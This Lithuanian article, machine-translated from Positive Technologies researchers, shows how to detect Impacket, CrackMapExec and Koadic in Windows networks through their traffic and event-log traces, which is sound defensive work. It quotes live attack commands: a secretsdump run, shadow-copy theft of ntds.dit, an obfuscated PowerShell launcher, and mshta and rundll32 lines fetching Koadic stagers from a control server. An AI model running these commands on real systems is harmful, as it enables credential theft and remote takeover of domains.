Kaip aptikti atakas prieš Windows infrastruktūrą: įsilaužėlių įrankių studijavimas

Kaip aptikti atakas prieš Windows infrastruktūrą: įsilaužėlių įrankių studijavimas

Atakų skaičius įmonių sektoriuje kasmet auga: pvz 2017 metais užfiksuota 13% daugiau unikalių incidentų nei 2016 m., o 2018 m. pabaigoje - 27% daugiau incidentųnei ankstesniu laikotarpiu. Įskaitant tuos, kuriuose pagrindinis darbo įrankis yra „Windows“ operacinė sistema. 2017–2018 m. APT Dragonfly, APT28, APT MuddyWater įvykdė išpuolius prieš vyriausybę ir karines organizacijas Europoje, Šiaurės Amerikoje ir Saudo Arabijoje. Ir mes tam panaudojome tris įrankius - Impacet, „CrackMapExec“ и Koadic. Jų šaltinio kodas yra atviras ir pasiekiamas „GitHub“.

Verta paminėti, kad šios priemonės naudojamos ne pradiniam įsiskverbimui, o atakai infrastruktūroje sukurti. Užpuolikai juos naudoja skirtinguose atakos etapuose, prasiskverbę per perimetrą. Tai, beje, sunku aptikti ir dažnai tik pasitelkus technologijas nustatyti kompromiso pėdsakus tinklo sraute arba įrankius, kurie leidžia aptikti aktyvius užpuoliko veiksmus jam įsiskverbus į infrastruktūrą. Įrankiai teikia įvairias funkcijas: nuo failų perdavimo iki sąveikos su registru ir komandų vykdymo nuotoliniame kompiuteryje. Mes atlikome šių įrankių tyrimą, kad nustatytų jų tinklo veiklą.

Ką mums reikėjo padaryti:

  • Supraskite, kaip veikia įsilaužimo įrankiai. Sužinokite, ką užpuolikai turi išnaudoti ir kokias technologijas jie gali naudoti.
  • Raskite tai, ko neaptinka informacijos saugos įrankiai pirmaisiais atakos etapais. Žvalgybos fazė gali būti praleista dėl to, kad užpuolikas yra vidinis užpuolikas, arba dėl to, kad užpuolikas išnaudoja infrastruktūros skylę, kuri anksčiau nebuvo žinoma. Pasidaro įmanoma atkurti visą jo veiksmų grandinę, taigi ir noras aptikti tolesnį judėjimą.
  • Pašalinkite klaidingus teigiamus duomenis iš įsibrovimo aptikimo įrankių. Reikia nepamiršti, kad kai tik žvalgybos pagrindu nustatomi tam tikri veiksmai, galimos dažnos klaidos. Paprastai infrastruktūroje yra pakankamai daug būdų, kurie iš pirmo žvilgsnio neatskiriami nuo teisėtų, gauti bet kokią informaciją.

Ką šie įrankiai suteikia užpuolikams? Jei tai yra „Impacket“, užpuolikai gauna didelę modulių biblioteką, kurią galima naudoti įvairiuose atakos etapuose, kurie seka pažeidus perimetrą. Daugelis įrankių viduje naudoja Impacket modulius, pavyzdžiui, Metasploit. Jame yra dcomexec ir wmiexec nuotoliniam komandų vykdymui, secretsdump paskyroms gauti iš atminties, kurios pridedamos iš Impacket. Dėl to teisingas tokios bibliotekos veiklos nustatymas užtikrins darinių aptikimą.

Neatsitiktinai kūrėjai parašė „Powered by Impacket“ apie „CrackMapExec“ (arba tiesiog CME). Be to, CME turi paruoštas funkcijas populiariems scenarijams: Mimikatz slaptažodžiams arba jų maišoms gauti, Meterpreter arba Empire agento diegimas nuotoliniam vykdymui ir Bloodhound laive.

Trečias įrankis, kurį pasirinkome, buvo Koadic. Jis visai neseniai, 25 metais pristatytas tarptautinėje programišių konferencijoje DEFCON 2017 ir išsiskiria nestandartiniu požiūriu: veikia per HTTP, Java Script ir Microsoft Visual Basic Script (VBS). Šis metodas vadinamas gyvenimu ne žemėje: įrankis naudoja priklausomybių ir bibliotekų rinkinį, integruotą sistemoje Windows. Kūrėjai tai vadina COM Command & Control arba C3.

IMPACKET

Impacket funkcionalumas yra labai platus – nuo ​​žvalgybos AD viduje ir duomenų rinkimo iš vidinių MS SQL serverių iki kredencialų gavimo metodų: tai yra SMB perdavimo ataka ir failo ntds.dit, kuriame yra vartotojo slaptažodžių maišos, gavimo iš domeno valdiklio. Impacket taip pat vykdo komandas nuotoliniu būdu, naudodamas keturis skirtingus metodus: WMI, „Windows Scheduler Management Service“, DCOM ir SMB, ir tam reikia kredencialų.

Paslapčių sąvartynas

Pažvelkime į secretsdump. Tai modulis, kuris gali būti nukreiptas ir į vartotojų kompiuterius, ir į domeno valdiklius. Jis gali būti naudojamas norint gauti atminties sričių LSA, SAM, SECURITY, NTDS.dit kopijas, todėl ją galima pamatyti skirtinguose atakos etapuose. Pirmasis modulio veikimo žingsnis yra autentifikavimas per SMB, kuriam reikalingas arba vartotojo slaptažodis, arba jo maiša, kad automatiškai įvykdytų „Pass the Hash“ ataką. Toliau pateikiamas prašymas atidaryti prieigą prie paslaugų valdymo tvarkyklės (SCM) ir gauti prieigą prie registro per winreg protokolą, kuriuo naudodamasis užpuolikas gali sužinoti dominančių šakų duomenis ir gauti rezultatus per SMB.

Fig. 1 matome, kaip tiksliai naudojant winreg protokolą prieiga gaunama naudojant registro raktą su LSA. Norėdami tai padaryti, naudokite komandą DCERPC su opcode 15 - OpenKey.

Kaip aptikti atakas prieš Windows infrastruktūrą: įsilaužėlių įrankių studijavimas
Ryžiai. 1. Registro rakto atidarymas naudojant winreg protokolą

Toliau, gavus prieigą prie rakto, reikšmės išsaugomos naudojant komandą SaveKey su opcode 20. Impacket tai daro labai specifiniu būdu. Jis išsaugo reikšmes faile, kurio pavadinimas yra 8 atsitiktinių simbolių eilutė su .tmp. Be to, tolesnis šio failo įkėlimas vyksta per SMB iš System32 katalogo (2 pav.).

Kaip aptikti atakas prieš Windows infrastruktūrą: įsilaužėlių įrankių studijavimas
Ryžiai. 2. Registro rakto gavimo iš nuotolinio kompiuterio schema

Pasirodo, tokia veikla tinkle gali būti aptikta pagal užklausas tam tikroms registro šakoms naudojant winreg protokolą, konkrečius pavadinimus, komandas ir jų tvarką.

Šis modulis taip pat palieka pėdsakų „Windows“ įvykių žurnale, todėl jį lengva aptikti. Pavyzdžiui, dėl komandos vykdymo

secretsdump.py -debug -system SYSTEM -sam SAM -ntds NTDS -security SECURITY -bootkey BOOTKEY -outputfile 1.txt -use-vss -exec-method mmcexec -user-status -dc-ip 192.168.202.100 -target-ip 192.168.202.100 contoso/Administrator:@DC

„Windows Server 2016“ žurnale matysime šią svarbią įvykių seką:

1. 4624 – nuotolinis prisijungimas.
2. 5145 – tikrinamos prieigos prie winreg nuotolinės paslaugos teisės.
3. 5145 - failų prieigos teisių tikrinimas System32 kataloge. Failas turi atsitiktinį pirmiau minėtą pavadinimą.
4. 4688 – sukuriamas cmd.exe procesas, paleidžiantis vssadmin:

“C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C vssadmin list shadows ^> %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

5. 4688 – proceso sukūrimas su komanda:

"C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C vssadmin create shadow /For=C: ^> %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

6. 4688 – proceso sukūrimas su komanda:

"C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C copy ?GLOBALROOTDeviceHarddiskVolumeShadowCopy3WindowsNTDSntds.dit %SYSTEMROOT%TemprmumAfcn.tmp ^> %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

7. 4688 – proceso sukūrimas su komanda:

"C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C vssadmin delete shadows /For=C: /Quiet ^> %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

Smbexec

Kaip ir daugelis po išnaudojimo įrankių, Impacket turi modulius, skirtus nuotoliniu būdu vykdyti komandas. Daugiausia dėmesio skirsime smbexec, kuri suteikia interaktyvų komandų apvalkalą nuotoliniame kompiuteryje. Šiam moduliui taip pat reikalingas autentifikavimas per SMB, naudojant slaptažodį arba slaptažodžio maišą. Fig. 3 paveiksle matome tokio įrankio veikimo pavyzdį, šiuo atveju tai yra vietinė administratoriaus konsolė.

Kaip aptikti atakas prieš Windows infrastruktūrą: įsilaužėlių įrankių studijavimas
Ryžiai. 3. Interaktyvi smbexec konsolė

Pirmasis smbexec veiksmas po autentifikavimo yra SCM atidarymas naudojant OpenSCManagerW komandą (15). Užklausa pastebima: laukas MachineName yra DUMMY.

Kaip aptikti atakas prieš Windows infrastruktūrą: įsilaužėlių įrankių studijavimas
Ryžiai. 4. Prašymas atidaryti Service Control Manager

Tada paslauga sukuriama naudojant komandą CreateServiceW (12). Smbexec atveju kiekvieną kartą galime matyti tą pačią komandų kūrimo logiką. Fig. 5 žalia nurodo nekeičiamus komandos parametrus, geltona – ką gali pakeisti užpuolikas. Nesunku pastebėti, kad vykdomojo failo pavadinimą, jo katalogą ir išvesties failą galima keisti, tačiau likusią dalį pakeisti daug sunkiau, netrikdant Impacket modulio logikos.

Kaip aptikti atakas prieš Windows infrastruktūrą: įsilaužėlių įrankių studijavimas
Ryžiai. 5. Prašymas sukurti paslaugą naudojant Service Control Manager

„Smbexec“ taip pat palieka akivaizdžių pėdsakų „Windows“ įvykių žurnale. „Windows Server 2016“ interaktyvaus komandų apvalkalo žurnale su komanda „ipconfig“ matysime šią pagrindinių įvykių seką:

1. 4697 — paslaugos įdiegimas aukos įrenginyje:

%COMSPEC% /Q /c echo cd ^> 127.0.0.1C$__output 2^>^&1 > %TEMP%execute.bat & %COMSPEC% /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

2. 4688 - cmd.exe proceso sukūrimas su argumentais iš 1 punkto.
3. 5145 – tikrinamos prieigos teisės prie __output failo C$ kataloge.
4. 4697 — paslaugos įdiegimas į nukentėjusiojo mašiną.

%COMSPEC% /Q /c echo ipconfig ^> 127.0.0.1C$__output 2^>^&1 > %TEMP%execute.bat & %COMSPEC% /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

5. 4688 - cmd.exe proceso sukūrimas su argumentais iš 4 punkto.
6. 5145 – tikrinamos prieigos teisės prie __output failo C$ kataloge.

Impacet yra atakos įrankių kūrimo pagrindas. Jis palaiko beveik visus „Windows“ infrastruktūros protokolus ir tuo pat metu turi savo būdingų savybių. Čia pateikiamos konkrečios winreg užklausos ir SCM API naudojimas su būdingų komandų formavimu, failo pavadinimo formatas ir SMB bendrinimas SYSTEM32.

CRACKMAPEXEC

CME įrankis visų pirma skirtas automatizuoti tuos įprastinius veiksmus, kuriuos užpuolikas turi atlikti, kad galėtų judėti tinkle. Tai leidžia dirbti kartu su gerai žinomu Empire agentu ir Meterpreter. Norėdami slaptai vykdyti komandas, CME gali jas užmaskuoti. Naudodamas Bloodhound (atskirą žvalgybos įrankį), užpuolikas gali automatizuoti aktyvios domeno administratoriaus sesijos paiešką.

šuo pėdsekys

Bloodhound, kaip atskiras įrankis, leidžia atlikti pažangią žvalgybą tinkle. Jis renka duomenis apie vartotojus, mašinas, grupes, seansus ir pateikiamas kaip PowerShell scenarijus arba dvejetainis failas. Informacijai rinkti naudojami LDAP arba SMB protokolai. CME integravimo modulis leidžia „Bloodhound“ atsisiųsti į aukos kompiuterį, paleisti ir gauti surinktus duomenis po vykdymo, taip automatizuojant veiksmus sistemoje ir padarant juos mažiau pastebimus. Bloodhound grafinis apvalkalas surinktus duomenis pateikia grafikų pavidalu, o tai leidžia rasti trumpiausią kelią nuo užpuoliko mašinos iki domeno administratoriaus.

Kaip aptikti atakas prieš Windows infrastruktūrą: įsilaužėlių įrankių studijavimas
Ryžiai. 6. Bloodhound sąsaja

Kad veiktų aukos kompiuteryje, modulis sukuria užduotį naudodamas ATSVC ir SMB. ATSVC yra sąsaja, skirta darbui su „Windows“ užduočių planuokliu. CME naudoja savo funkciją NetrJobAdd(1), kad sukurtų užduotis tinkle. Pavyzdys, ką siunčia CME modulis, parodytas pav. 7: Tai yra cmd.exe komandos iškvietimas ir užmaskuotas kodas argumentų forma XML formatu.

Kaip aptikti atakas prieš Windows infrastruktūrą: įsilaužėlių įrankių studijavimas
7 pav. Užduoties kūrimas per CME

Po to, kai užduotis buvo pateikta vykdyti, aukos mašina pati paleidžia „Bloodhound“, ir tai matyti eisme. Modulis pasižymi LDAP užklausomis, kad gautų standartines grupes, visų domeno įrenginių ir vartotojų sąrašą bei informaciją apie aktyvias vartotojų sesijas per SRVSVC NetSessEnum užklausą.

Kaip aptikti atakas prieš Windows infrastruktūrą: įsilaužėlių įrankių studijavimas
Ryžiai. 8. Aktyvių seansų sąrašo gavimas per SMB

Be to, paleidus „Bloodhound“ aukos mašinoje, kai įjungtas auditas, įvyksta įvykis su ID 4688 (proceso kūrimas) ir proceso pavadinimu. «C:WindowsSystem32cmd.exe». Įsidėmėtini yra komandinės eilutės argumentai:

cmd.exe /Q /c powershell.exe -exec bypass -noni -nop -w 1 -C " & ( $eNV:cOmSPEc[4,26,25]-JOiN'')( [chAR[]](91 , 78, 101,116 , 46, 83 , 101 , … , 40,41 )-jOIN'' ) "

Enum_avproducts

Modulis enum_avproducts yra labai įdomus funkcionalumo ir įgyvendinimo požiūriu. WMI leidžia naudoti WQL užklausų kalbą duomenims iš įvairių „Windows“ objektų gauti, o tai iš esmės ir naudoja šis CME modulis. Jis generuoja užklausas AntiSpywareProduct ir AntiМirusProduct klasėms apie apsaugos įrankius, įdiegtus aukos kompiuteryje. Kad gautų reikiamus duomenis, modulis prisijungia prie rootSecurityCenter2 vardų erdvės, tada sugeneruoja WQL užklausą ir gauna atsakymą. Fig. 9 paveiksle parodytas tokių prašymų ir atsakymų turinys. Mūsų pavyzdyje buvo rasta „Windows Defender“.

Kaip aptikti atakas prieš Windows infrastruktūrą: įsilaužėlių įrankių studijavimas
Ryžiai. 9. Modulio enum_avproducts tinklo veikla

Dažnai WMI auditas (Trace WMI-Activity), kurio įvykiuose galite rasti naudingos informacijos apie WQL užklausas, gali būti išjungtas. Bet jei jis įjungtas, paleidus scenarijų enum_avproducts, bus išsaugotas įvykis su ID 11. Jame bus vartotojo, kuris išsiuntė užklausą, vardas ir vardas rootSecurityCenter2 vardų erdvėje.

Kiekvienas CME modulis turėjo savo artefaktus, nesvarbu, ar tai būtų konkrečios WQL užklausos, ar tam tikro tipo užduočių sukūrimas užduočių planuoklyje su užmaskavimu ir specifine Bloodhound veikla LDAP ir SMB.

KOADIC

Išskirtinis „Koadic“ bruožas yra „Windows“ integruotų „JavaScript“ ir „VBScript“ interpretatorių naudojimas. Šia prasme jis seka gyvenimo iš žemės tendenciją – tai yra, neturi išorinių priklausomybių ir naudoja standartinius „Windows“ įrankius. Tai visiško valdymo ir valdymo (CnC) įrankis, nes po užsikrėtimo aparate įdiegiamas „implantas“, leidžiantis jį valdyti. Tokia mašina, Koadic terminologijoje, vadinama „zombiu“. Jei aukos pusėje nėra pakankamai privilegijų visapusiškam darbui, Koadic turi galimybę jas pakelti naudodama vartotojo abonemento valdymo apėjimo (UAC apėjimo) metodus.

Kaip aptikti atakas prieš Windows infrastruktūrą: įsilaužėlių įrankių studijavimas
Ryžiai. 10. Koadic Shell

Auka turi pradėti ryšį su komandų ir valdymo serveriu. Norėdami tai padaryti, ji turi susisiekti su anksčiau paruoštu URI ir gauti pagrindinį Koadic korpusą, naudodama vieną iš etapų. Fig. 11 paveiksle parodytas mshta scener pavyzdys.

Kaip aptikti atakas prieš Windows infrastruktūrą: įsilaužėlių įrankių studijavimas
Ryžiai. 11. Seanso su CnC serveriu inicijavimas

Remiantis atsako kintamuoju WS, tampa aišku, kad vykdymas vyksta per WScript.Shell, o kintamieji STAGER, SESSIONKEY, JOBKEY, JOBKEYPATH, EXPIRE turi pagrindinę informaciją apie dabartinės sesijos parametrus. Tai pirmoji užklausos ir atsako pora HTTP ryšyje su CnC serveriu. Vėlesnės užklausos yra tiesiogiai susijusios su iškviestų modulių (implantų) funkcionalumu. Visi Koadic moduliai veikia tik esant aktyviam seansui su CnC.

Mimikatz

Kaip ir CME dirba su Bloodhound, Koadic dirba su Mimikatz kaip atskira programa ir turi kelis būdus jai paleisti. Žemiau yra užklausų ir atsakymų pora, skirta atsisiųsti Mimikatz implantą.

Kaip aptikti atakas prieš Windows infrastruktūrą: įsilaužėlių įrankių studijavimas
Ryžiai. 12. Perkelkite Mimikatz į Koadic

Galite pamatyti, kaip pasikeitė URI formatas užklausoje. Dabar jame yra csrf kintamojo, atsakingo už pasirinktą modulį, reikšmė. Nekreipk dėmesio į jos vardą; Visi žinome, kad CSRF paprastai suprantamas skirtingai. Atsakymas buvo ta pati pagrindinė Koadic dalis, prie kurios buvo pridėtas su Mimikatz susijęs kodas. Jis yra gana didelis, todėl pažvelkime į pagrindinius dalykus. Čia mes turime Mimikatz biblioteką, užkoduotą base64, nuosekliąją .NET klasę, kuri ją įves, ir argumentus Mimikatz paleidimui. Vykdymo rezultatas per tinklą perduodamas aiškiu tekstu.

Kaip aptikti atakas prieš Windows infrastruktūrą: įsilaužėlių įrankių studijavimas
Ryžiai. 13. „Mimikatz“ paleidimo nuotoliniame kompiuteryje rezultatas

Exec_cmd

Koadic taip pat turi modulius, kurie gali vykdyti komandas nuotoliniu būdu. Čia pamatysime tą patį URI generavimo metodą ir pažįstamus sid ir csrf kintamuosius. Modulio exec_cmd atveju kodas pridedamas prie korpuso, galinčio vykdyti apvalkalo komandas. Žemiau parodytas toks kodas, esantis CnC serverio HTTP atsakyme.

Kaip aptikti atakas prieš Windows infrastruktūrą: įsilaužėlių įrankių studijavimas
Ryžiai. 14. Implanto kodas exec_cmd

Kodo vykdymui reikalingas kintamasis GAWTUUGCFI su žinomu WS atributu. Jo pagalba implantas iškviečia apvalkalą, apdorodamas dvi kodo šakas – shell.exec su išvesties duomenų srauto grąžinimu ir shell.run negrąžindamas.

Koadic nėra įprastas įrankis, tačiau jis turi savo artefaktus, pagal kuriuos jį galima rasti teisėtame sraute:

  • specialus HTTP užklausų formavimas,
  • naudojant winHttpRequests API,
  • sukurti WScript.Shell objektą per ActiveXObject,
  • didelis vykdomasis kūnas.

Pradinį ryšį inicijuoja scener, todėl jo veiklą galima aptikti per Windows įvykius. Mshta atveju tai yra 4688 įvykis, nurodantis proceso su starto atributu sukūrimą:

C:Windowssystem32mshta.exe http://192.168.211.1:9999/dXpT6

Kol Koadic veikia, galite pamatyti kitus 4688 įvykius su puikiai jį apibūdinančiais atributais:

rundll32.exe http://192.168.241.1:9999/dXpT6?sid=1dbef04007a64fba83edb3f3928c9c6c; csrf=;......mshtml,RunHTMLApplication
rundll32.exe http://192.168.202.136:9999/dXpT6?sid=12e0bbf6e9e5405690e5ede8ed651100;csrf=18f93a28e0874f0d8d475d154bed1983;......mshtml,RunHTMLApplication
"C:Windowssystem32cmd.exe" /q /c chcp 437 & net session 1> C:Usersuser02AppDataLocalTemp6dc91b53-ddef-2357-4457-04a3c333db06.txt 2>&1
"C:Windowssystem32cmd.exe" /q /c chcp 437 & ipconfig 1> C:Usersuser02AppDataLocalTemp721d2d0a-890f-9549-96bd-875a495689b7.txt 2>&1

išvados

Gyvenimo iš žemės tendencija populiarėja tarp nusikaltėlių. Jie savo poreikiams naudoja įrankius ir mechanizmus, integruotus sistemoje Windows. Matome, kad APT ataskaitose vis dažniau pasirodo šiuo principu vadovaujantis populiarūs įrankiai Koadic, CrackMapExec ir Impacket. GitHub šakučių šiems įrankiams taip pat daugėja, atsiranda naujų (jų dabar jau yra apie tūkstantis). Ši tendencija populiarėja dėl savo paprastumo: užpuolikams nereikia trečiųjų šalių įrankių, jie jau yra aukų mašinose ir padeda jiems apeiti saugumo priemones. Mes sutelkiame dėmesį į tinklo komunikacijos studijas: kiekvienas aukščiau aprašytas įrankis palieka savo pėdsakus tinklo sraute; išsamus jų tyrimas leido mums išmokyti mūsų produktą PT tinklo atakos atradimas juos aptikti, o tai galiausiai padeda ištirti visą su jais susijusių kibernetinių incidentų grandinę.

Autoriai:

  • Antonas Tyurinas, PT ekspertų saugos centro „Positive Technologies“ ekspertų paslaugų skyriaus vadovas
  • Egor Podmokov, PT ekspertų saugos centro pozityviųjų technologijų ekspertas

Šaltinis: www.habr.com

Добавить комментарий